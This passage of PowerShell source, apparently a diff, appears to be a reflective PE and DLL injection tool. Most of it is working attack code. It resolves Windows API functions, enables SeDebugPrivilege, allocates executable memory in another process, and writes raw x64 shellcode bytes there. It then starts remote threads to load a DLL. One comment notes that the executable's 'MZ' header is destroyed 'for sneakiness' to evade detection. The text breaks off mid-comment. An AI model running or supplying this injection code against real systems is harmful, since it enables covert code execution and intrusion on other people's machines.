[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + } + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for 